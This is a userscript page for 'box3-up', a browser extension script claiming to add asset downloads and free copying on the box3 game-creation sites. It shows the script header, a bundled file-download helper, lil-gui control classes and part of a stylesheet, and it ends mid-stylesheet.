box3-up

新版 支持box3音乐下载 box3模型下载 box3地形下载 以及创作端自由复制(@ibxff)

Du musst eine Erweiterung wie Tampermonkey, Greasemonkey oder Violentmonkey installieren, um dieses Skript zu installieren.

You will need to install an extension such as Tampermonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey or Userscripts to install this script.

You will need to install an extension such as Tampermonkey to install this script.

Sie müssten eine Skript Manager Erweiterung installieren damit sie dieses Skript installieren können

(Ich habe schon ein Skript Manager, Lass mich es installieren!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(I already have a user style manager, let me install it!)

// ==UserScript==
// @name         box3-up
// @namespace    https://shequ.codemao.cn/user/2856172
// @version      1.0.0.-1
// @description  新版 支持box3音乐下载 box3模型下载 box3地形下载 以及创作端自由复制(@ibxff)
// @author       伴雪纷飞
// @match        *://box3.codemao.cn/*
// @match        *://box3.ink/*
// @match        *://box3.fun/*
// @match        *://dao3.fun/*
// @icon         https://static.box3.codemao.cn/block/QmYUaux6sbsJg2kMSVZiCLCGUiZXmL75WUKpJoV8nHzEuu
// @license      GPL-3.0
// @grant        GM_info
// @grant        GM_openInTab
// @grant        GM_setValue
// @grant        unsafeWindow
// ==/UserScript==
 
(function() {
    'use strict';
    console.log('-*欢迎使用由伴雪纷飞编写的box3 up插件*-')
     
    var _global = typeof window === 'object' && window.window === window ? window : typeof self === 'object' && self.self === self ? self : typeof global === 'object' && global.global === global ? global : void 0;
     
    function bom(blob, opts) {
    if (typeof opts === 'undefined') opts = {
      autoBom: false
    };else if (typeof opts !== 'object') {
      console.warn('Deprecated: Expected third argument to be a object');
      opts = {
        autoBom: !opts
      };
    }
     
    if (opts.autoBom && /^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(blob.type)) {
      return new Blob([String.fromCharCode(0xFEFF), blob], {
        type: blob.type
      });
    }
     
    return blob;
    }
     
    function download(url, name, opts) {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', url);
    xhr.responseType = 'blob';
     
    xhr.onload = function () {
      saveAs(xhr.response, name, opts);
    };
     
    xhr.onerror = function () {
      console.error('could not download file');
    };
     
    xhr.send();
    }
     
    function corsEnabled(url) {
    var xhr = new XMLHttpRequest();
     
    xhr.open('HEAD', url, false);
     
    try {
      xhr.send();
    } catch (e) {}
     
    return xhr.status >= 200 && xhr.status <= 299;
    }
     
     
    function click(node) {
    try {
      node.dispatchEvent(new MouseEvent('click'));
    } catch (e) {
      var evt = document.createEvent('MouseEvents');
      evt.initMouseEvent('click', true, true, window, 0, 0, 0, 80, 20, false, false, false, false, 0, null);
      node.dispatchEvent(evt);
    }
    }
    var _global = typeof window === 'object' && window.window === window ? window : typeof self === 'object' && self.self === self ? self : typeof global === 'object' && global.global === global ? global : void 0;
    var isMacOSWebView = _global.navigator && /Macintosh/.test(navigator.userAgent) && /AppleWebKit/.test(navigator.userAgent) && !/Safari/.test(navigator.userAgent);
    var saveAs = _global.saveAs || (
    typeof window !== 'object' || window !== _global ? function saveAs() {}
     
    : 'download' in HTMLAnchorElement.prototype && !isMacOSWebView ? function saveAs(blob, name, opts) {
    var URL = _global.URL || _global.webkitURL;
    var a = document.createElement('a');
    name = name || blob.name || 'download';
    a.download = name;
    a.rel = 'noopener';
     
    if (typeof blob === 'string') {
      a.href = blob;
     
      if (a.origin !== location.origin) {
        corsEnabled(a.href) ? download(blob, name, opts) : click(a, a.target = '_blank');
      } else {
        click(a);
      }
    } else {
      a.href = URL.createObjectURL(blob);
      setTimeout(function () {
        URL.revokeObjectURL(a.href);
      }, 4E4);
     
      setTimeout(function () {
        click(a);
      }, 0);
    }
    }
    : 'msSaveOrOpenBlob' in navigator ? function saveAs(blob, name, opts) {
    name = name || blob.name || 'download';
     
    if (typeof blob === 'string') {
      if (corsEnabled(blob)) {
        download(blob, name, opts);
      } else {
        var a = document.createElement('a');
        a.href = blob;
        a.target = '_blank';
        setTimeout(function () {
          click(a);
        });
      }
    } else {
      navigator.msSaveOrOpenBlob(bom(blob, opts), name);
    }
    }
    : function saveAs(blob, name, opts, popup) {
    popup = popup || open('', '_blank');
     
    if (popup) {
      popup.document.title = popup.document.body.innerText = 'downloading...';
    }
     
    if (typeof blob === 'string') return download(blob, name, opts);
    var force = blob.type === 'application/octet-stream';
     
    var isSafari = /constructor/i.test(_global.HTMLElement) || _global.safari;
     
    var isChromeIOS = /CriOS\/[\d]+/.test(navigator.userAgent);
     
    if ((isChromeIOS || force && isSafari || isMacOSWebView) && typeof FileReader !== 'undefined') {
      var reader = new FileReader();
     
      reader.onloadend = function () {
        var url = reader.result;
        url = isChromeIOS ? url : url.replace(/^data:[^;]*;/, 'data:attachment/file;');
        if (popup) popup.location.href = url;else location = url;
        popup = null;
      };
     
      reader.readAsDataURL(blob);
    } else {
      var URL = _global.URL || _global.webkitURL;
      var url = URL.createObjectURL(blob);
      if (popup) popup.location = url;else location.href = url;
      popup = null;
     
      setTimeout(function () {
        URL.revokeObjectURL(url);
      }, 4E4);
    }
    });
    _global.saveAs = saveAs.saveAs = saveAs;
     
    if (typeof module !== 'undefined') {
    module.exports = saveAs;
    }
     
        class Controller {
        constructor(parent, object, property, className, widgetTag = "div") {
          this.parent = parent;
          this.object = object;
          this.property = property;
          this._disabled = false;
          this._hidden = false;
          this.initialValue = this.getValue();
          this.domElement = document.createElement("div");
          this.domElement.classList.add("controller");
          this.domElement.classList.add(className);
          this.$name = document.createElement("div");
          this.$name.classList.add("name");
          Controller.nextNameID = Controller.nextNameID || 0;
          this.$name.id = `lil-gui-name-${++Controller.nextNameID}`;
          this.$widget = document.createElement(widgetTag);
          this.$widget.classList.add("widget");
          this.$disable = this.$widget;
          this.domElement.appendChild(this.$name);
          this.domElement.appendChild(this.$widget);
          this.parent.children.push(this);
          this.parent.controllers.push(this);
          this.parent.$children.appendChild(this.domElement);
          this._listenCallback = this._listenCallback.bind(this);
          this.name(property);
        }
        name(name) {
          this._name = name;
          this.$name.innerHTML = name;
          return this;
        }
        onChange(callback) {
          this._onChange = callback;
          return this;
        }
        _callOnChange() {
          this.parent._callOnChange(this);
          if (this._onChange !== void 0) {
            this._onChange.call(this, this.getValue());
          }
          this._changed = true;
        }
        onFinishChange(callback) {
          this._onFinishChange = callback;
          return this;
        }
        _callOnFinishChange() {
          if (this._changed) {
            this.parent._callOnFinishChange(this);
            if (this._onFinishChange !== void 0) {
              this._onFinishChange.call(this, this.getValue());
            }
          }
          this._changed = false;
        }
        reset() {
          this.setValue(this.initialValue);
          this._callOnFinishChange();
          return this;
        }
        enable(enabled = true) {
          return this.disable(!enabled);
        }
        disable(disabled = true) {
          if (disabled === this._disabled)
            return this;
          this._disabled = disabled;
          this.domElement.classList.toggle("disabled", disabled);
          this.$disable.toggleAttribute("disabled", disabled);
          return this;
        }
        show(show = true) {
          this._hidden = !show;
          this.domElement.style.display = this._hidden ? "none" : "";
          return this;
        }
        hide() {
          return this.show(false);
        }
        options(options) {
          const controller = this.parent.add(this.object, this.property, options);
          controller.name(this._name);
          this.destroy();
          return controller;
        }
        min(min) {
          return this;
        }
        max(max) {
          return this;
        }
        step(step) {
          return this;
        }
        decimals(decimals) {
          return this;
        }
        listen(listen = true) {
          this._listening = listen;
          if (this._listenCallbackID !== void 0) {
            cancelAnimationFrame(this._listenCallbackID);
            this._listenCallbackID = void 0;
          }
          if (this._listening) {
            this._listenCallback();
          }
          return this;
        }
        _listenCallback() {
          this._listenCallbackID = requestAnimationFrame(this._listenCallback);
          const curValue = this.save();
          if (curValue !== this._listenPrevValue) {
            this.updateDisplay();
          }
          this._listenPrevValue = curValue;
        }
        getValue() {
          return this.object[this.property];
        }
        setValue(value) {
          this.object[this.property] = value;
          this._callOnChange();
          this.updateDisplay();
          return this;
        }
        updateDisplay() {
          return this;
        }
        load(value) {
          this.setValue(value);
          this._callOnFinishChange();
          return this;
        }
        save() {
          return this.getValue();
        }
        destroy() {
          this.listen(false);
          this.parent.children.splice(this.parent.children.indexOf(this), 1);
          this.parent.controllers.splice(this.parent.controllers.indexOf(this), 1);
          this.parent.$children.removeChild(this.domElement);
        }
      }
      class BooleanController extends Controller {
        constructor(parent, object, property) {
          super(parent, object, property, "boolean", "label");
          this.$input = document.createElement("input");
          this.$input.setAttribute("type", "checkbox");
          this.$input.setAttribute("aria-labelledby", this.$name.id);
          this.$widget.appendChild(this.$input);
          this.$input.addEventListener("change", () => {
            this.setValue(this.$input.checked);
            this._callOnFinishChange();
          });
          this.$disable = this.$input;
          this.updateDisplay();
        }
        updateDisplay() {
          this.$input.checked = this.getValue();
          return this;
        }
      }
      function normalizeColorString(string) {
        let match, result;
        if (match = string.match(/(#|0x)?([a-f0-9]{6})/i)) {
          result = match[2];
        } else if (match = string.match(/rgb\(\s*(\d*)\s*,\s*(\d*)\s*,\s*(\d*)\s*\)/)) {
          result = parseInt(match[1]).toString(16).padStart(2, 0) + parseInt(match[2]).toString(16).padStart(2, 0) + parseInt(match[3]).toString(16).padStart(2, 0);
        } else if (match = string.match(/^#?([a-f0-9])([a-f0-9])([a-f0-9])$/i)) {
          result = match[1] + match[1] + match[2] + match[2] + match[3] + match[3];
        }
        if (result) {
          return "#" + result;
        }
        return false;
      }
      const STRING = {
        isPrimitive: true,
        match: (v) => typeof v === "string",
        fromHexString: normalizeColorString,
        toHexString: normalizeColorString
      };
      const INT = {
        isPrimitive: true,
        match: (v) => typeof v === "number",
        fromHexString: (string) => parseInt(string.substring(1), 16),
        toHexString: (value) => "#" + value.toString(16).padStart(6, 0)
      };
      const ARRAY = {
        isPrimitive: false,
        match: Array.isArray,
        fromHexString(string, target, rgbScale = 1) {
          const int = INT.fromHexString(string);
          target[0] = (int >> 16 & 255) / 255 * rgbScale;
          target[1] = (int >> 8 & 255) / 255 * rgbScale;
          target[2] = (int & 255) / 255 * rgbScale;
        },
        toHexString([r, g, b], rgbScale = 1) {
          rgbScale = 255 / rgbScale;
          const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
          return INT.toHexString(int);
        }
      };
      const OBJECT = {
        isPrimitive: false,
        match: (v) => Object(v) === v,
        fromHexString(string, target, rgbScale = 1) {
          const int = INT.fromHexString(string);
          target.r = (int >> 16 & 255) / 255 * rgbScale;
          target.g = (int >> 8 & 255) / 255 * rgbScale;
          target.b = (int & 255) / 255 * rgbScale;
        },
        toHexString({ r, g, b }, rgbScale = 1) {
          rgbScale = 255 / rgbScale;
          const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
          return INT.toHexString(int);
        }
      };
      const FORMATS = [STRING, INT, ARRAY, OBJECT];
      function getColorFormat(value) {
        return FORMATS.find((format) => format.match(value));
      }
      class ColorController extends Controller {
        constructor(parent, object, property, rgbScale) {
          super(parent, object, property, "color");
          this.$input = document.createElement("input");
          this.$input.setAttribute("type", "color");
          this.$input.setAttribute("tabindex", -1);
          this.$input.setAttribute("aria-labelledby", this.$name.id);
          this.$text = document.createElement("input");
          this.$text.setAttribute("type", "text");
          this.$text.setAttribute("spellcheck", "false");
          this.$text.setAttribute("aria-labelledby", this.$name.id);
          this.$display = document.createElement("div");
          this.$display.classList.add("display");
          this.$display.appendChild(this.$input);
          this.$widget.appendChild(this.$display);
          this.$widget.appendChild(this.$text);
          this._format = getColorFormat(this.initialValue);
          this._rgbScale = rgbScale;
          this._initialValueHexString = this.save();
          this._textFocused = false;
          this.$input.addEventListener("input", () => {
            this._setValueFromHexString(this.$input.value);
          });
          this.$input.addEventListener("blur", () => {
            this._callOnFinishChange();
          });
          this.$text.addEventListener("input", () => {
            const tryParse = normalizeColorString(this.$text.value);
            if (tryParse) {
              this._setValueFromHexString(tryParse);
            }
          });
          this.$text.addEventListener("focus", () => {
            this._textFocused = true;
            this.$text.select();
          });
          this.$text.addEventListener("blur", () => {
            this._textFocused = false;
            this.updateDisplay();
            this._callOnFinishChange();
          });
          this.$disable = this.$text;
          this.updateDisplay();
        }
        reset() {
          this._setValueFromHexString(this._initialValueHexString);
          return this;
        }
        _setValueFromHexString(value) {
          if (this._format.isPrimitive) {
            const newValue = this._format.fromHexString(value);
            this.setValue(newValue);
          } else {
            this._format.fromHexString(value, this.getValue(), this._rgbScale);
            this._callOnChange();
            this.updateDisplay();
          }
        }
        save() {
          return this._format.toHexString(this.getValue(), this._rgbScale);
        }
        load(value) {
          this._setValueFromHexString(value);
          this._callOnFinishChange();
          return this;
        }
        updateDisplay() {
          this.$input.value = this._format.toHexString(this.getValue(), this._rgbScale);
          if (!this._textFocused) {
            this.$text.value = this.$input.value.substring(1);
          }
          this.$display.style.backgroundColor = this.$input.value;
          return this;
        }
      }
      class FunctionController extends Controller {
        constructor(parent, object, property) {
          super(parent, object, property, "function");
          this.$button = document.createElement("button");
          this.$button.appendChild(this.$name);
          this.$widget.appendChild(this.$button);
          this.$button.addEventListener("click", (e) => {
            e.preventDefault();
            this.getValue().call(this.object);
          });
          this.$button.addEventListener("touchstart", () => {
          }, { passive: true });
          this.$disable = this.$button;
        }
      }
      class NumberController extends Controller {
        constructor(parent, object, property, min, max, step) {
          super(parent, object, property, "number");
          this._initInput();
          this.min(min);
          this.max(max);
          const stepExplicit = step !== void 0;
          this.step(stepExplicit ? step : this._getImplicitStep(), stepExplicit);
          this.updateDisplay();
        }
        decimals(decimals) {
          this._decimals = decimals;
          this.updateDisplay();
          return this;
        }
        min(min) {
          this._min = min;
          this._onUpdateMinMax();
          return this;
        }
        max(max) {
          this._max = max;
          this._onUpdateMinMax();
          return this;
        }
        step(step, explicit = true) {
          this._step = step;
          this._stepExplicit = explicit;
          return this;
        }
        updateDisplay() {
          const value = this.getValue();
          if (this._hasSlider) {
            let percent = (value - this._min) / (this._max - this._min);
            percent = Math.max(0, Math.min(percent, 1));
            this.$fill.style.width = percent * 100 + "%";
          }
          if (!this._inputFocused) {
            this.$input.value = this._decimals === void 0 ? value : value.toFixed(this._decimals);
          }
          return this;
        }
        _initInput() {
          this.$input = document.createElement("input");
          this.$input.setAttribute("type", "number");
          this.$input.setAttribute("step", "any");
          this.$input.setAttribute("aria-labelledby", this.$name.id);
          this.$widget.appendChild(this.$input);
          this.$disable = this.$input;
          const onInput = () => {
            let value = parseFloat(this.$input.value);
            if (isNaN(value))
              return;
            if (this._stepExplicit) {
              value = this._snap(value);
            }
            this.setValue(this._clamp(value));
          };
          const increment = (delta) => {
            const value = parseFloat(this.$input.value);
            if (isNaN(value))
              return;
            this._snapClampSetValue(value + delta);
            this.$input.value = this.getValue();
          };
          const onKeyDown = (e) => {
            if (e.code === "Enter") {
              this.$input.blur();
            }
            if (e.code === "ArrowUp") {
              e.preventDefault();
              increment(this._step * this._arrowKeyMultiplier(e));
            }
            if (e.code === "ArrowDown") {
              e.preventDefault();
              increment(this._step * this._arrowKeyMultiplier(e) * -1);
            }
          };
          const onWheel = (e) => {
            if (this._inputFocused) {
              e.preventDefault();
              increment(this._step * this._normalizeMouseWheel(e));
            }
          };
          let testingForVerticalDrag = false, initClientX, initClientY, prevClientY, initValue, dragDelta;
          const DRAG_THRESH = 5;
          const onMouseDown = (e) => {
            initClientX = e.clientX;
            initClientY = prevClientY = e.clientY;
            testingForVerticalDrag = true;
            initValue = this.getValue();
            dragDelta = 0;
            window.addEventListener("mousemove", onMouseMove);
            window.addEventListener("mouseup", onMouseUp);
          };
          const onMouseMove = (e) => {
            if (testingForVerticalDrag) {
              const dx = e.clientX - initClientX;
              const dy = e.clientY - initClientY;
              if (Math.abs(dy) > DRAG_THRESH) {
                e.preventDefault();
                this.$input.blur();
                testingForVerticalDrag = false;
                this._setDraggingStyle(true, "vertical");
              } else if (Math.abs(dx) > DRAG_THRESH) {
                onMouseUp();
              }
            }
            if (!testingForVerticalDrag) {
              const dy = e.clientY - prevClientY;
              dragDelta -= dy * this._step * this._arrowKeyMultiplier(e);
              if (initValue + dragDelta > this._max) {
                dragDelta = this._max - initValue;
              } else if (initValue + dragDelta < this._min) {
                dragDelta = this._min - initValue;
              }
              this._snapClampSetValue(initValue + dragDelta);
            }
            prevClientY = e.clientY;
          };
          const onMouseUp = () => {
            this._setDraggingStyle(false, "vertical");
            this._callOnFinishChange();
            window.removeEventListener("mousemove", onMouseMove);
            window.removeEventListener("mouseup", onMouseUp);
          };
          const onFocus = () => {
            this._inputFocused = true;
          };
          const onBlur = () => {
            this._inputFocused = false;
            this.updateDisplay();
            this._callOnFinishChange();
          };
          this.$input.addEventListener("input", onInput);
          this.$input.addEventListener("keydown", onKeyDown);
          this.$input.addEventListener("wheel", onWheel, { passive: false });
          this.$input.addEventListener("mousedown", onMouseDown);
          this.$input.addEventListener("focus", onFocus);
          this.$input.addEventListener("blur", onBlur);
        }
        _initSlider() {
          this._hasSlider = true;
          this.$slider = document.createElement("div");
          this.$slider.classList.add("slider");
          this.$fill = document.createElement("div");
          this.$fill.classList.add("fill");
          this.$slider.appendChild(this.$fill);
          this.$widget.insertBefore(this.$slider, this.$input);
          this.domElement.classList.add("hasSlider");
          const map = (v, a, b, c, d) => {
            return (v - a) / (b - a) * (d - c) + c;
          };
          const setValueFromX = (clientX) => {
            const rect = this.$slider.getBoundingClientRect();
            let value = map(clientX, rect.left, rect.right, this._min, this._max);
            this._snapClampSetValue(value);
          };
          const mouseDown = (e) => {
            this._setDraggingStyle(true);
            setValueFromX(e.clientX);
            window.addEventListener("mousemove", mouseMove);
            window.addEventListener("mouseup", mouseUp);
          };
          const mouseMove = (e) => {
            setValueFromX(e.clientX);
          };
          const mouseUp = () => {
            this._callOnFinishChange();
            this._setDraggingStyle(false);
            window.removeEventListener("mousemove", mouseMove);
            window.removeEventListener("mouseup", mouseUp);
          };
          let testingForScroll = false, prevClientX, prevClientY;
          const beginTouchDrag = (e) => {
            e.preventDefault();
            this._setDraggingStyle(true);
            setValueFromX(e.touches[0].clientX);
            testingForScroll = false;
          };
          const onTouchStart = (e) => {
            if (e.touches.length > 1)
              return;
            if (this._hasScrollBar) {
              prevClientX = e.touches[0].clientX;
              prevClientY = e.touches[0].clientY;
              testingForScroll = true;
            } else {
              beginTouchDrag(e);
            }
            window.addEventListener("touchmove", onTouchMove, { passive: false });
            window.addEventListener("touchend", onTouchEnd);
          };
          const onTouchMove = (e) => {
            if (testingForScroll) {
              const dx = e.touches[0].clientX - prevClientX;
              const dy = e.touches[0].clientY - prevClientY;
              if (Math.abs(dx) > Math.abs(dy)) {
                beginTouchDrag(e);
              } else {
                window.removeEventListener("touchmove", onTouchMove);
                window.removeEventListener("touchend", onTouchEnd);
              }
            } else {
              e.preventDefault();
              setValueFromX(e.touches[0].clientX);
            }
          };
          const onTouchEnd = () => {
            this._callOnFinishChange();
            this._setDraggingStyle(false);
            window.removeEventListener("touchmove", onTouchMove);
            window.removeEventListener("touchend", onTouchEnd);
          };
          const callOnFinishChange = this._callOnFinishChange.bind(this);
          const WHEEL_DEBOUNCE_TIME = 400;
          let wheelFinishChangeTimeout;
          const onWheel = (e) => {
            const isVertical = Math.abs(e.deltaX) < Math.abs(e.deltaY);
            if (isVertical && this._hasScrollBar)
              return;
            e.preventDefault();
            const delta = this._normalizeMouseWheel(e) * this._step;
            this._snapClampSetValue(this.getValue() + delta);
            this.$input.value = this.getValue();
            clearTimeout(wheelFinishChangeTimeout);
            wheelFinishChangeTimeout = setTimeout(callOnFinishChange, WHEEL_DEBOUNCE_TIME);
          };
          this.$slider.addEventListener("mousedown", mouseDown);
          this.$slider.addEventListener("touchstart", onTouchStart, { passive: false });
          this.$slider.addEventListener("wheel", onWheel, { passive: false });
        }
        _setDraggingStyle(active, axis = "horizontal") {
          if (this.$slider) {
            this.$slider.classList.toggle("active", active);
          }
          document.body.classList.toggle("lil-gui-dragging", active);
          document.body.classList.toggle(`lil-gui-${axis}`, active);
        }
        _getImplicitStep() {
          if (this._hasMin && this._hasMax) {
            return (this._max - this._min) / 1e3;
          }
          return 0.1;
        }
        _onUpdateMinMax() {
          if (!this._hasSlider && this._hasMin && this._hasMax) {
            if (!this._stepExplicit) {
              this.step(this._getImplicitStep(), false);
            }
            this._initSlider();
            this.updateDisplay();
          }
        }
        _normalizeMouseWheel(e) {
          let { deltaX, deltaY } = e;
          if (Math.floor(e.deltaY) !== e.deltaY && e.wheelDelta) {
            deltaX = 0;
            deltaY = -e.wheelDelta / 120;
            deltaY *= this._stepExplicit ? 1 : 10;
          }
          const wheel = deltaX + -deltaY;
          return wheel;
        }
        _arrowKeyMultiplier(e) {
          let mult = this._stepExplicit ? 1 : 10;
          if (e.shiftKey) {
            mult *= 10;
          } else if (e.altKey) {
            mult /= 10;
          }
          return mult;
        }
        _snap(value) {
          const r = Math.round(value / this._step) * this._step;
          return parseFloat(r.toPrecision(15));
        }
        _clamp(value) {
          if (value < this._min)
            value = this._min;
          if (value > this._max)
            value = this._max;
          return value;
        }
        _snapClampSetValue(value) {
          this.setValue(this._clamp(this._snap(value)));
        }
        get _hasScrollBar() {
          const root = this.parent.root.$children;
          return root.scrollHeight > root.clientHeight;
        }
        get _hasMin() {
          return this._min !== void 0;
        }
        get _hasMax() {
          return this._max !== void 0;
        }
      }
      class OptionController extends Controller {
        constructor(parent, object, property, options) {
          super(parent, object, property, "option");
          this.$select = document.createElement("select");
          this.$select.setAttribute("aria-labelledby", this.$name.id);
          this.$display = document.createElement("div");
          this.$display.classList.add("display");
          this._values = Array.isArray(options) ? options : Object.values(options);
          this._names = Array.isArray(options) ? options : Object.keys(options);
          this._names.forEach((name) => {
            const $option = document.createElement("option");
            $option.innerHTML = name;
            this.$select.appendChild($option);
          });
          this.$select.addEventListener("change", () => {
            this.setValue(this._values[this.$select.selectedIndex]);
            this._callOnFinishChange();
          });
          this.$select.addEventListener("focus", () => {
            this.$display.classList.add("focus");
          });
          this.$select.addEventListener("blur", () => {
            this.$display.classList.remove("focus");
          });
          this.$widget.appendChild(this.$select);
          this.$widget.appendChild(this.$display);
          this.$disable = this.$select;
          this.updateDisplay();
        }
        updateDisplay() {
          const value = this.getValue();
          const index = this._values.indexOf(value);
          this.$select.selectedIndex = index;
          this.$display.innerHTML = index === -1 ? value : this._names[index];
          return this;
        }
      }
      class StringController extends Controller {
        constructor(parent, object, property) {
          super(parent, object, property, "string");
          this.$input = document.createElement("input");
          this.$input.setAttribute("type", "text");
          this.$input.setAttribute("aria-labelledby", this.$name.id);
          this.$input.addEventListener("input", () => {
            this.setValue(this.$input.value);
          });
          this.$input.addEventListener("keydown", (e) => {
            if (e.code === "Enter") {
              this.$input.blur();
            }
          });
          this.$input.addEventListener("blur", () => {
            this._callOnFinishChange();
          });
          this.$widget.appendChild(this.$input);
          this.$disable = this.$input;
          this.updateDisplay();
        }
        updateDisplay() {
          this.$input.value = this.getValue();
          return this;
        }
      }
      const stylesheet = `.lil-gui {
      font-family: var(--font-family);
      font-size: var(--font-size);
      line-height: 1;
      font-weight: normal;
      font-style: normal;
      text-align: left;
      background-color: var(--background-color);
      color: var(--text-color);
      user-select: none;
      -webkit-user-select: none;
      touch-action: manipulation;
      --background-color: #1f1f1f;
      --text-color: #ebebeb;
      --title-background-color: #111111;
      --title-text-color: #ebebeb;
      --widget-color: #424242;
      --hover-color: #4f4f4f;
      --focus-color: #595959;
      --number-color: #2cc9ff;
      --string-color: #a2db3c;
      --font-size: 11px;
      --input-font-size: 11px;
      --font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
      --font-family-mono: Menlo, Monaco, Consolas, "Droid Sans Mono", monospace;
      --padding: 4px;
      --spacing: 4px;
      --widget-height: 20px;
      --name-width: 45%;
      --slider-knob-width: 2px;
      --slider-input-width: 27%;
      --color-input-width: 27%;
      --slider-input-min-width: 45px;
      --color-input-min-width: 45px;
      --folder-indent: 7px;
      --widget-padding: 0 0 0 3px;
      --widget-border-radius: 2px;
      --checkbox-size: calc(0.75 * var(--widget-height));
      --scrollbar-width: 5px;
    }
    .lil-gui, .lil-gui * {
      box-sizing: border-box;
      margin: 0;
      padding: 0;
    }
    .lil-gui.root {
      width: var(--width, 245px);
      display: flex;
      flex-direction: column;
    }
    .lil-gui.root > .title {
      background: var(--title-background-color);
      color: var(--title-text-color);
    }
    .lil-gui.root > .children {
      overflow-x: hidden;
      overflow-y: auto;
    }
    .lil-gui.root > .children::-webkit-scrollbar {
      width: var(--scrollbar-width);
      height: var(--scrollbar-width);
      background: var(--background-color);
    }
    .lil-gui.root > .children::-webkit-scrollbar-thumb {
      border-radius: var(--scrollbar-width);
      background: var(--focus-color);
    }
    @media (pointer: coarse) {
      .lil-gui.allow-touch-styles {
        --widget-height: 28px;
        --padding: 6px;
        --spacing: 6px;
        --font-size: 13px;
        --input-font-size: 16px;
        --folder-indent: 10px;
        --scrollbar-width: 7px;
        --slider-input-min-width: 50px;
        --color-input-min-width: 65px;
      }
    }
    .lil-gui.force-touch-styles {
      --widget-height: 28px;
      --padding: 6px;
      --spacing: 6px;
      --font-size: 13px;
      --input-font-size: 16px;
      --folder-indent: 10px;
      --scrollbar-width: 7px;
      --slider-input-min-width: 50px;
      --color-input-min-width: 65px;
    }
    .lil-gui.autoPlace {
      max-height: 100%;
      position: fixed;
      top: 0;
      right: 15px;
      z-index: 1001;
    }
     
    .lil-gui .controller {
      display: flex;
      align-items: center;
      padding: 0 var(--padding);
      margin: var(--spacing) 0;
    }
    .lil-gui .controller.disabled {
      opacity: 0.5;
    }
    .lil-gui .controller.disabled, .lil-gui .controller.disabled * {
      pointer-events: none !important;
    }
    .lil-gui .controller > .name {
      min-width: var(--name-width);
      flex-shrink: 0;
      white-space: pre;
      padding-right: var(--spacing);
      line-height: var(--widget-height);
    }
    .lil-gui .controller .widget {
      position: relative;
      display: flex;
      align-items: center;
      width: 100%;
      min-height: var(--widget-height);
    }
    .lil-gui .controller.string input {
      color: var(--string-color);
    }
    .lil-gui .controller.boolean .widget {
      cursor: pointer;
    }
    .lil-gui .controller.color .display {
      width: 100%;
      height: var(--widget-height);
      border-radius: var(--widget-border-radius);
      position: relative;
    }
    @media (hover: hover) {
      .lil-gui .controller.color .display:hover:before {
        content: " ";
        display: block;
        position: absolute;
        border-radius: var(--widget-border-radius);
        border: 1px solid #fff9;
        top: 0;
        right: 0;
        bottom: 0;
        left: 0;
      }
    }
    .lil-gui .controller.color input[type=color] {
      opacity: 0;
      width: 100%;
      height: 100%;
      cursor: pointer;
    }
    .lil-gui .controller.color input[type=text] {
      margin-left: var(--spacing);
      font-family: var(--font-family-mono);
      min-width: var(--color-input-min-width);
      width: var(--color-input-width);
      flex-shrink: 0;
    }
    .lil-gui .controller.option select {
      opacity: 0;
      position: absolute;
      width: 100%;
      max-width: 100%;
    }
    .lil-gui .controller.option .display {
      position: relative;
      pointer-events: none;
      border-radius: var(--widget-border-radius);
      height: var(--widget-height);
      line-height: var(--widget-height);
      max-width: 100%;
      overflow: hidden;
      word-break: break-all;
      padding-left: 0.55em;
      padding-right: 1.75em;
      background: var(--widget-color);
    }
    @media (hover: hover) {
      .lil-gui .controller.option .display.focus {
        background: var(--focus-color);
      }
    }
    .lil-gui .controller.option .display.active {
      background: var(--focus-color);
    }
    .lil-gui .controller.option .display:after {
      font-family: "lil-gui";
      content: "↕";
      position: absolute;
      top: 0;
      right: 0;
      bottom: 0;
      padding-right: 0.375em;
    }
    .lil-gui .controller.option .widget,
    .lil-gui .controller.option select {
      cursor: pointer;
    }
    @media (hover: hover) {
      .lil-gui .controller.option .widget:hover .display {
        background: var(--hover-color);
      }
    }
    .lil-gui .controller.number input {
      color: var(--number-color);
    }
    .lil-gui .controller.number.hasSlider input {
      margin-left: var(--spacing);
      width: var(--slider-input-width);
      min-width: var(--slider-input-min-width);
      flex-shrink: 0;
    }
    .lil-gui .controller.number .slider {
      width: 100%;
      height: var(--widget-height);
      background-color: var(--widget-color);
      border-radius: var(--widget-border-radius);
      padding-right: var(--slider-knob-width);
      overflow: hidden;
      cursor: ew-resize;
      touch-action: pan-y;
    }
    @media (hover: hover) {
      .lil-gui .controller.number .slider:hover {
        background-color: var(--hover-color);
      }
    }
    .lil-gui .controller.number .slider.active {
      background-color: var(--focus-color);
    }
    .lil-gui .controller.number .slider.active .fill {
      opacity: 0.95;
    }
    .lil-gui .controller.number .fill {
      height: 100%;
      border-right: var(--slider-knob-width) solid var(--number-color);
      box-sizing: content-box;
    }
     
    .lil-gui-dragging .lil-gui {
      --hover-color: var(--widget-color);
    }
    .lil-gui-dragging * {
      cursor: ew-resize !important;
    }
     
    .lil-gui-dragging.lil-gui-vertical * {
      cursor: ns-resize !important;
    }
     
    .lil-gui .title {
      --title-height: calc(var(--widget-height) + var(--spacing) * 1.25);
      height: var(--title-height);
      line-height: calc(var(--title-height) - 4px);
      font-weight: 600;
      padding: 0 var(--padding);
      -webkit-tap-highlight-color: transparent;
      cursor: pointer;
      outline: none;
      text-decoration-skip: objects;
    }
    .lil-gui .title:before {
      font-family: "lil-gui";
      content: "▾";
      padding-right: 2px;
      display: inline-block;
    }
    .lil-gui .title:active {
      background: var(--title-background-color);
      opacity: 0.75;
    }
    @media (hover: hover) {
      body:not(.lil-gui-dragging) .lil-gui .title:hover {
        background: var(--title-background-color);
        opacity: 0.85;
      }
      .lil-gui .title:focus {
        text-decoration: underline var(--focus-color);
      }
    }
    .lil-gui.root > .title:focus {
      text-decoration: none !important;
    }
    .lil-gui.closed > .title:before {
      content: "▸";
    }
    .lil-gui.closed > .children {
      transform: translateY(-7px);
      opacity: 0;
    }
    .lil-gui.closed:not(.transition) > .children {
      display: none;
